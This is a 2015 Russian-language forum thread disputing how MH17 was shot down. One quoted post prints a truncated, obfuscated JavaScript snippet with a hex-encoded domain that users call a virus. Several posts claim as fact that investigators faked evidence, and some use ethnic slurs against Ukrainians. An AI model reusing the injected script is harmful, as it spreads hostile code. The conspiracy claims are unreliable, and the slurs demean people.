Катастрофа Boeing MH17 под Донецком

2,689,863 21,565
 

Сообщения

Фильтр
Коллеги!

Настоятельно рекомендую обходиться на ветке без хамства и переходов на личности. Хоть в хабальском варианте, хоть в матерном, хоть в нормативно-цензурной обертке. Обсуждаются, вроде как, вполне себе объективные (ну или старающиеся быть показанными таковыми Веселый)) аспекты и их кагбэ соответствие каким-то там законам природы. Не? Если нет возможности вести дискуссию в подобающем тоне, то может лучше промолчать, игноря "невежд", чем на личности переходить.  Личные качества оппонента, его родственников и подбные аргУменты, ведь, вряд ли  могут добавить веса вашим аргументам.
Коллеги, давайте все же воздерживаться от переходов на личности. Только замусоривают ветку. И ни разу весомости аргументам не добавляют.
orlov
 
22 года
Дилетант
Карма: -73.54
Регистрация: 24.09.2012
Сообщений: 590
Читатели: 0

Аккаунт заблокирован
Тред № 1014662
Дискуссия   89 0
Цитата: ЦитатаВ предыдущем докладе он сообщал: если боинг был сбит ЗУР, то это могла быть только ЗУР БУКа 9М38(М1).

Питон не подходит по массе БЧ (в вычислениях исключили ПЭ тяжелой фракции, отсюда ошибка в рассчетах массы),
плюс - найдены фрагменты ЗУР БУКа.




Значит  Питоном сбили?
  • +0.00 / 0
  • Скрыто
  barclay
  • Удалено
  • +0.21 / 3
  Tlan
  • Удалено
  • +0.05 / 3
  Raketa
  • Удалено
  • +0.03 / 1
  СПС
  • Удалено
  • -0.43 / 10
  barclay
  • Удалено
  • +0.55 / 6
  Anders
  • Удалено
  • +0.32 / 2
nekto_mamomot
 
55 лет
Специалист
Карма: +12,488.65
Регистрация: 27.11.2011
Сообщений: 25,828
Читатели: 9

Полный бан до 14.12.2022 13:31
Цитата: СПС от 30.10.2015 20:03:37Модеры на этом форуме самые тупые во всём интернете. У меня нигде такое не вылазит ни в одном блоге ни в одном форуме. 
window.a1336404323 = 1;!function(){var o=JSON.parse('["63733867633173656e752e7275"]'),e="",t="19385",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Тебе уже сказали, что у тебя - "обфусцированный вирус Java"...
Подхватить такое - это как девственнику заболеть триппером!
Это... ммм... крайне запущенная форма сифилиса!
Ну, загрузи уже бесплатны доктор-ВЭБ...
Или зайди на форумы антивирусные...
  • +0.50 / 6
Rurouni_
 
Слушатель
Карма: +2.35
Регистрация: 19.08.2009
Сообщений: 577
Читатели: 0
Цитата: Energia от 30.10.2015 20:03:01Во-первых, я не буду сейчас искать, что он там где-то, когда-то говорил. Важно то, что он сказал пару недель назад. Во-вторых,
Зенитная управляемая ракета (ЗУР) — ракета класса «поверхность-воздух» («земля-воздух»). Т.е. получается он якобы сказал, что если это ракета земля-воздух, то это Бук. Поясните, товарищ украинец, что это меняет?

А про вашу остальную ахинею... Сторчевой, вроде, ясно дал понять, что Россия не согласна с тем, что написали голландцы в докладе, кроме одного: Украина виновна, потому что не заркрыла воздушное пространство. 


Что голландцам мешает показать кусок металла и выдавать его за ПЭ? Даже если он от Бука, у твоих земляков нету таких ракет и фрагментов, которые они могли передать после какого-нибудь пуска (если до этого не имели)?

Ещё раз. На официальном голландском сайте этих расследователей (Joint Investigation Team - это те, которые ищут виновных), расположена очевидная поддельная фотография Paris Match, на которой якобы российский Бук (от якобы 17 июля, внутри города Донецк):
Их сайт: https://www.politie.…h17-2.html
Подробности на англ.: http://energia.su/mh17/fake_buk.html

Какое ещё нужно подтверждение того, что расследование пытается найти или фальсифицировать улики, чтобы оправдать теорию, что это была ракета Бук, запущенная ополченцами или российскими солдатами со Снежного, причём Бук поставленный Россией. Т.е. то, что говорили СБУ и американцы спустя часы после катастрофы, ссылаясь на фальсифицированные видео, фото и аудио записи.

1) Я Россиян, а не Украинец. Сомневатесь - можете попросить модераторов посмотреть историю моих IP за все время, а я на форуме уже больше 5ти лет.

2) Сторчевой много интересного рассказал. Но принципиально дела это не меняет. Ни одна УРВВ не даст тех повреждений, что есть на боинге. Если вы утверждаете что такая есть - назовите, какая.

3) Любой кусок металла за ПЭ не выдать. Хим-анализ моментально выявит подделку. Даже подкинуть ПЭ с каких-нибудь испытаний непросто, поскольку на нем тогда не будет микрочастиц от пробитого им стекла.

4) Аналогично, нельзя произвольный кусок металла выдать за фрагмент ЗУР. А фрагментов ЗУР голландцы представили 3 штуки.

5) Кто там фотографировал куда либо ездящий бук - мне до лампочки. Важно чем и откуда стреляли. Алмаз наглядно показал, что версия "пуск из Снежного" не соответствует повреждениям боинга.
  • -0.12 / 10
бог света
 
ukraine
Слушатель
Карма: -14.41
Регистрация: 19.09.2015
Сообщений: 145
Читатели: 0
Тред № 1014725
Дискуссия   151 1
Рассказывала подружка дочери офицера, который служил в пво, поэтому могут быть неточности...
оперативный дежурный днепропетровского корпуса пво на кп, у него перед глазами планшет с оперативной воздушной обстановкой. на достаточно высоком уровне информация ртв, имея на вооружении кольчугу, (развернуть времени было предостаточно), и работая без постановки помех, нижнее поле 200м  имели не менее 100км от границы, а на высоте 10км видели мин на 300км. утверждаю, что видели всё хорошо. 
информация поступала параллельно на планшет корпуса в днепр и в киев. максимальная задержка, учитывая бд, ограниченна только считыванием информации. это макс 5 мин. воздушную обстановку видел оперативный дежурный корпуса(и командир корпуса) и оперативный дежурный в киеве (и командующий войками). при подлете к границе любой ла идентифицируется, ртв знают, что за борт приближается к границе. в случае если борт не идентифицирован, военные связываются с гражданским рц увд, которые сидят в том же днепре, по телефону и узнают. также имеют прямую связь со своими коллегами из граничных государств и могут позвонить напрямую и спросить... возможны ошибки т.к. сами и присваивают. при одновременном нахождении 150 целей с установкой помех, ошибиться можно, но в данном случае макс 10 целей на планшете, не реально.. если цель не идентифицирована, как правило оп. дежурный корпуса дает приказ авиции на перехват цели на границе, но это истребители (легкие или средние, не суть важно) но не штурмовая авиация. учитывая, что истребители не вылетели на цель, то утверждаю, цель идентифицировали.
оперативный дежурный, видит всё - полеты военных самолетов, гражданских. он приводит в готовность зрк бук и дает приказ командиру батареи про уничтожение цели, (приказы согласовываются). командир батареи бука, "включает радар, находит цель, пускает ракету (для боинга гарантированно надо две, ракет не жалеют,у них задача положить цель), подсвечивает на начальном этапе, сворачивается и прячется". привести в работу батарею бука в районе пролета международного борта, оперативный дежурный в днепре и киеве, согласовав с двумя командирами, не реально. а предположить, что "сепаратисты" сами включили бук и шмальнули, по первой попавшейся цели, это явный бред...
учитывая опыт войны во вьетнаме, работа батареи бук будет сразу обнаружена средствами радиолокационной разведки, как Российской так и штатовской. утверждаю, что российские ртв видели всю украину нижнее поле 200 м(искл. закарпатье высота гор 1,5-2 км). средства обнаружения и их характеристики засекречены. военные, как штатовские так и российские их не озвучат, это вопрос стратегический. в этом и весь главный вопрос - узнать, что реально видели российские ртв. для этого и боинга не жалко. виновник все-равно известен, это украина, "сепаратисты" или регулярная армия, не суть важно... узнать ЧТО видели... 
поэтому утверждаю, что летают над украиной "самолетики-беспилотники-невидимки-истребители-и т.п" штатовские - как хотят, когда хотят и с чем хотят. главный вопрос видит ли российские ртв эти полеты.
учиться, учиться и учиться...
  • -0.09 / 8
nekto_mamomot
 
55 лет
Специалист
Карма: +12,488.65
Регистрация: 27.11.2011
Сообщений: 25,828
Читатели: 9

Полный бан до 14.12.2022 13:31
Цитата: Rurouni_ от 30.10.2015 21:54:153) Любой кусок металла за ПЭ не выдать. Хим-анализ моментально выявит подделку.
Даже подкинуть ПЭ с каких-нибудь испытаний непросто, поскольку на нем тогда не будет микрочастиц
от пробитого им стекла.

4) Аналогично, нельзя произвольный кусок металла выдать за фрагмент ЗУР. А фрагментов ЗУР
голландцы представили 3 штуки.

У Вас есть две принципиальные ошибки!
1. Все, что представляют голландцы Вы выставляете абсолютной истиной!
Однако голландцы - лгуны! И это ДОКАЗАЛИ Алмаз-Антей и Сторчевой!
а) Голландцы сначала представили больше трех "якобы фрагментов" ракеты БУК.
Но потом, когда Алмаз-Антей с помощью ЭКСПЕРИМЕНТА показал, что приобщенные
в качестве вещдоков части ЗРУ не могли быть у голландцев в таком виде, либо
эти части не причастны к катастрофе Боинга, "честные голландцы" не придумали
ничего другого, как некоторые ВЕЩЕСТВЕННЫЕ ДОКАЗАТЕЛЬСТВА просто выкинуть на помойку!
2. Что Вы тут митингуете за химанализ?
Так в том-то и дело, что голландцы химанализ сделали, поняли, что ПЭ не от БЧ ЗРК БУК,
и выложили только часть химанализа по примесям, по которым ничего сказать нельзя!
И, сцуко, тебе же, хохол, Сторчевой сказал, что химанализ ПЭ у Алмаз-Антея не совпадает
с показателями химанализа у голландцем!
грыз
Отредактировано: ахмадинежад - 31 октября 2015 03:09:24
  • +0.00 / 0
бог света
 
ukraine
Слушатель
Карма: -14.41
Регистрация: 19.09.2015
Сообщений: 145
Читатели: 0
Цитата: nekto_mamomot от 30.10.2015 22:15:05У Вас есть две принципиальные ошибки!
1. Все, что представляют голландцы Вы выставляете абсолютной истиной!
Однако голландцы - лгуны! И это ДОКАЗАЛИ Алмаз-Антей и Сторчевой!
а) Голландцы сначала представили больше трех "якобы фрагментов" ракеты БУК.
Но потом, когда Алмаз-Антей с помощью ЭКСПЕРИМЕНТА показал, что приобщенные
в качестве вещдоков части ЗРУ не могли быть у голландцев в таком виде, либо
эти части не причастны к катастрофе Боинга, "честные голландцы" не придумали
ничего другого, как некоторые ВЕЩЕСТВЕННЫЕ ДОКАЗАТЕЛЬСТВА просто выкинуть на помойку!
2. Что Вы тут митингуете за химанализ?
Так в том-то и дело, что голландцы химанализ сделали, поняли, что ПЭ не от БЧ ЗРК БУК,
и выложили только часть химанализа по примесям, по которым ничего сказать нельзя!
И, сцуко, тебе же, хохол, Сторчевой сказал, что химанализ ПЭ у Алмаз-Антея не совпадает
с показателями химанализа у голландцем!
Нет же! Ты тут уже такую кучу навалил в свои шаровары! И все скачешь и скачешь,
скачешь и скачешь! Иди уже  постирай шаровары и причеши оселедец!
И не говори тут, что ты не хохол: ибо ведешь себя, как настоящий скакол!

поймите, главное. роль голландцев не найти истину... вы им предоставите миллион улик, а они их тупо выкинут.
первый пункт своей задачи они уже сделали - определили, что это бук. второе, найдут виновных, догадайтесь с одного раза, кто это будет... и третье, найдут суд,типа гааги, типа юкоса, и заочно засудят ими определенных виновников. поэтому этих господ прокинули в совбезе оон, не давая им еще один рычаг давления.
ваши доказательства и доводы аа, только будут в качестве вашего утешения.
и зачем такие эмоции, зачем так себя терзать???
учиться, учиться и учиться...
  • -0.34 / 10
Anders
 
russia
Из царства тридевятого
Слушатель
Карма: +86.13
Регистрация: 02.11.2011
Сообщений: 637
Читатели: 0
Цитата: бог света от 30.10.2015 21:55:12Рассказывала подружка дочери офицера, который служил в пво, поэтому могут быть неточности...

Под столомНравитсяХлопающий
  • +0.40 / 8
rigel1986
 
russia
ДВФО
36 лет
Практикант
Карма: +2,068.58
Регистрация: 10.03.2012
Сообщений: 4,026
Читатели: 3

Бан в разделе до 29.11.2022 12:24
Цитата: Rurouni_ от 30.10.2015 21:54:151) Я Россиян, а не Украинец. Сомневатесь - можете попросить модераторов посмотреть историю моих IP за все время, а я на форуме уже больше 5ти лет.

2) Сторчевой много интересного рассказал. Но принципиально дела это не меняет. Ни одна УРВВ не даст тех повреждений, что есть на боинге. Если вы утверждаете что такая есть - назовите, какая.

3) Любой кусок металла за ПЭ не выдать. Хим-анализ моментально выявит подделку. Даже подкинуть ПЭ с каких-нибудь испытаний непросто, поскольку на нем тогда не будет микрочастиц от пробитого им стекла.

4) Аналогично, нельзя произвольный кусок металла выдать за фрагмент ЗУР. А фрагментов ЗУР голландцы представили 3 штуки.

5) Кто там фотографировал куда либо ездящий бук - мне до лампочки. Важно чем и откуда стреляли. Алмаз наглядно показал, что версия "пуск из Снежного" не соответствует повреждениям боинга.

Отсутствуют материальные следы и свидетели пуска "Бука", что в густонаселенной местности исключено полностью.
"...год за годом будут приходить новые поколения. Они вновь подымут знамя своих отцов и дедов и отдадут нам должное сполна. Свое будущее они будут строить на нашем прошлом."
И.В. Сталин
  • +0.25 / 8
nekto_mamomot
 
55 лет
Специалист
Карма: +12,488.65
Регистрация: 27.11.2011
Сообщений: 25,828
Читатели: 9

Полный бан до 14.12.2022 13:31
Цитата: бог света от 30.10.2015 22:35:59поймите, главное. роль голландцев не найти истину... вы им предоставите миллион улик, а они их тупо выкинут.
первый пункт своей задачи они уже сделали - определили, что это бук. второе, найдут виновных, догадайтесь с одного раза, кто это будет... и третье, найдут суд,типа гааги, типа юкоса, и заочно засудят ими определенных виновников. поэтому этих господ прокинули в совбезе оон, не давая им еще один рычаг давления.
ваши доказательства и доводы аа, только будут в качестве вашего утешения.
и зачем такие эмоции, зачем так себя терзать???

Божок!
Не скачи! Если Вы - вменяемый, то еще раз проичтайте мое сообщение
и поймите, что я обращался не к голландцам, а к конкреному камраду, который
тут "дурочку врубает"! Ему уже раз пять все разъяснили, а он все несет сюда
свои методички!  Я уже думаю: ну, ежели ты тут "правду" отжигаешь за деньги,
то, может, я тебе дам денег и ничего от тебя не потребую, кроме как не нести тут чушь и бред
из пиндосских методичек!
Еще раз: я обращался не к голландцам!
*****
Кстати, и Вам, Божок, совет: хватит скакать за хохло-убийц!
  • +0.00 / 0
nekto_mamomot
 
55 лет
Специалист
Карма: +12,488.65
Регистрация: 27.11.2011
Сообщений: 25,828
Читатели: 9

Полный бан до 14.12.2022 13:31
Цитата: rigel1986 от 31.10.2015 07:57:19Отсутствуют материальные следы и свидетели пуска "Бука", что в густонаселенной местности
исключено полностью.

Камрад! Не только "свидетели пуска"!
А нет, главное, свидетелей доставки БУКа из Краматорска в Зарощенское 
и эвакуации его из Зарощенского в Запорожье!
А этих свидетелей должно быть на порядок больше!
*****
Итого, должно быть:
1. Примерно сотня свидетелей нахождения позиций БУКа под Зарощенском и пуска.
2. Примерно несколько тысяч тусовки с БУКом по предполагаемому
маршруту Краматорск-Зарощенское -Запорожская область!
А по факту показали только одного подозрительного типа!
Кстати, и фоток Зарощенского БУКа нет!
Это сейчас МГБ ДНР и СБУ стало гонять"фотографов и киношников"...
А вспомните тот июль! Тогда снимали прохождение колонн ДЕРЕВНЯМИ, СЕМЬЯМИ, ГОРОДАМИ С БАЛКОНОВ!!!
  • +0.01 / 2
Uncle Ben
 
latvia
Рига
Практикант
Карма: +2,668.14
Регистрация: 20.04.2014
Сообщений: 7,372
Читатели: 5

Модератор ветки
Тред № 1014838
Дискуссия   102 2
Риторические вопросы (отвечать не надо, но подумать можно):
-как далеко слышен выстрел 152 мм орудия на ровной местности? Min и max? Это где-то 160Дб,
 заведомо больше пуска ЗУР. Для ориентира - наземный взрыв при падении температуры воздуха 0.6 град/100 м
не слышен на высоте 1 м уже через километр - звук постепенно преломляется вверх (акустическая линза и тень - аналог полного внутреннего преломления для света)
-в Зарощенском всего 350 человек. Минус дети, старики, выехавшие в город на заработки.
 Сколько там найдется свидетелей Серег? А гоотовых сфоткать? В Снежном 45 000, какой-то дым сфотографировал - один.
  • -0.03 / 1
  walkcat
  • Удалено
  • +0.08 / 3
Поверонов
 
Специалист
Карма: +5,674.16
Регистрация: 05.06.2010
Сообщений: 16,463
Читатели: 8
Цитата: nekto_mamomot от 31.10.2015 09:09:32Камрад! Не только "свидетели пуска"!
А нет, главное, свидетелей доставки БУКа из Краматорска в Зарощенское 
и эвакуации его из Зарощенского в Запорожье!
А этих свидетелей должно быть на порядок больше!
*****
Итого, должно быть:
1. Примерно сотня свидетелей нахождения позиций БУКа под Зарощенском и пуска.
2. Примерно несколько тысяч тусовки с БУКом по предполагаемому
маршруту Краматорск-Зарощенское -Запорожская область!
А по факту показали только одного подозрительного типа!
Кстати, и фоток Зарощенского БУКа нет!
Это сейчас МГБ ДНР и СБУ стало гонять"фотографов и киношников"...
А вспомните тот июль! Тогда снимали прохождение колонн ДЕРЕВНЯМИ, СЕМЬЯМИ, ГОРОДАМИ С БАЛКОНОВ!!!

Так есть же целый фильм Час Ч № 129. Там видна панорама местности. Может из местных кто может узнать место.
  • +0.00 / 0
Сохатыч   Сохатыч
  31 октября 2015 14:07:02
...
  Сохатыч
Цитата: nekto_mamomot от 31.10.2015 09:09:32Камрад! Не только "свидетели пуска"!
А нет, главное, свидетелей доставки БУКа из Краматорска в Зарощенское 
и эвакуации его из Зарощенского в Запорожье!
А этих свидетелей должно быть на порядок больше!
*****
Итого, должно быть:
1. Примерно сотня свидетелей нахождения позиций БУКа под Зарощенском и пуска.
2. Примерно несколько тысяч тусовки с БУКом по предполагаемому
маршруту Краматорск-Зарощенское -Запорожская область!
А по факту показали только одного подозрительного типа!
Кстати, и фоток Зарощенского БУКа нет!
Это сейчас МГБ ДНР и СБУ стало гонять"фотографов и киношников"...
А вспомните тот июль! Тогда снимали прохождение колонн ДЕРЕВНЯМИ, СЕМЬЯМИ, ГОРОДАМИ С БАЛКОНОВ!!!

Много ли было видео когда весной тащили Буки на юго-восток? По пальцам пересчитать можно и то записи только с оживленных трасс, а после того как притащили, много их наснимали? Много на снимали их возле того же Краматорска?  Отсутствие видеозаписей в сети ни о чем не говорит.
Отредактировано: Сохатыч - 01 ноября 2015 02:15:53
  • -0.17 / 3
  • Скрыто
Сейчас на ветке: 4, Модераторов: 0, Пользователей: 0, Гостей: 1, Ботов: 3